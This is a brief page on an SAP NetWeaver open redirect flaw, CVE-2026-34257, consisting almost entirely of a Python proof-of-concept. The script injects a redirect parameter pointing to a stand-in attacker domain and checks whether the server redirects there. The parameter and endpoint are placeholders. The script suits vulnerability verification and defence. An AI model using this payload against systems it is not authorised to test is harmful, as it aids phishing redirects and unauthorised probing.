CVE-2026-34257 SAP NetWeaver开放重定向漏洞

# Proof of Concept for CVE-2026-34257 import requests def check_open_redirect(target_url): # Malicious domain controlled by attacker malicious_site = "http://attacker-example.com" # Payload attempting to trigger the redirect # Note: The specific parameter name (e.g., 'url', 'redirect', 'target') depends on the vulnerable endpoint payload = f"?redirect={malicious_site}" full_url = target_url + payload try: response = requests.get(full_url, allow_redirects=False, timeout=5) # Check for 301/302 status codes and if Location header points to the malicious site if response.status_code in [301, 302, 307, 308]: location = response.headers.get('Location', '') if malicious_site in location: print(f"[+] Vulnerability Confirmed!") print(f" Target: {target_url}") print(f" Redirecting to: {location}") return True print(f"[-] Not vulnerable or payload incorrect.") return False except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Replace with actual vulnerable endpoint target = "http://vulnerable-sap-server.com/sap/bc/webdynpro_abap/..." check_open_redirect(target)